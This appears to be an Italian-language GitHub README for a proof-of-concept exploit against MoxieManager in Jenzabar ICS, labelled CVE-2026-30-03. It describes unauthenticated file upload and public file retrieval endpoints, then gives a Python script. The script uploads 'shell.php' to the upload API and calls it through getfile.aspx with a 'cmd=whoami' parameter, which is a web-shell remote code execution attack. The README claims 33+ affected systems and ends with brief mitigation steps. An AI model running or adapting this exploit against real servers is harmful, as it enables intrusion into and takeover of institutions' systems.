itsismarcos/ics-moxiemanager-fileupload-pocCVE-2026-30-03 9.8 (Critico) Possibile RCE Jenzabar ICS + MoxieManager
CVE-2026-30-03 9.8 (Critico) Possibile RCE Jenzabar ICS + MoxieManager
proff https://www.youtube.com/watch?v=lcfUL6Xx3f4&feature=youtu.be
CVE CVSS Impatto Affetto CVE-2026-30-03 9.8 (Critico) Possibile RCE Jenzabar ICS + MoxieManager
Una vulnerabilità nel componente MoxieManager utilizzato dal sistema Jenzabar ICS può consentire l'invio inadeguato di file che, in determinate condizioni, possono essere accessibili pubblicamente e potenzialmente portare all'esecuzione remota di codice (RCE). Descrizione Tecnica
Il problema si verifica a causa di:
Mancanza di una validazione adeguata dei file inviati
Possibile esposizione dei file tramite endpoint pubblico:
/ICS/staticpages/getfile.aspx
Controllo di autenticazione incoerente sull'endpoint:
/ICS/UI/Common/Scripts/tinymce/plugins/moxiemanager/api.ashx
In scenari specifici, i file inviati possono essere memorizzati in directory accessibili e successivamente recuperati.
Impatto Upload arbitrario di file Esposizione di contenuti sensibili Possibile esecuzione remota di codice (a seconda della configurazione del server) Compromissione totale del sistema
Classificazione CVSS v3.1: 9.8 (Critico) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Upload di file senza restrizioni CWE-284: Controllo di accesso inadeguato
PoC Exploit
#!/usr/bin/env python3
import requests
TARGET = "https://example.edu" MOXIE = f"{TARGET}/ICS/UI/Common/Scripts/tinymce/plugins/moxiemanager/api.ashx" UUID = "5d6b24cb-7bfe-4a6b-8581-4426bf0f4101"
files = {'file': ('shell.php', '', 'application/x-php')} data = {'action': 'upload', 'path': '/1085255', 'csrf': 'E24607903E4DC7496732F267BAD48FF35D855DA9E362AB80E0340D5B5EC5F164'}
r = requests.post(MOXIE, files=files, data=data) print(f"[+] Upload: {r.status_code}")
SHELL = f"{TARGET}/ICS/staticpages/getfile.aspx?target=/moxiemanager/files/users/{UUID}/shell.php" print(f"[+] Shell: {SHELL}?cmd=whoami") print(requests.get(f"{SHELL}?cmd=whoami").text)
Sistemi Affetti (33+ Confermati)
Rimedio Immediato (Mitigazione):
ELIMINARE /moxiemanager/files/users/*/shell.php
Limitare getfile.aspx:
RewriteRule ^/ICS/staticpages/getfile.aspx?target=.*shell.php - [F,L]
Disabilitare gli upload di MoxieManager
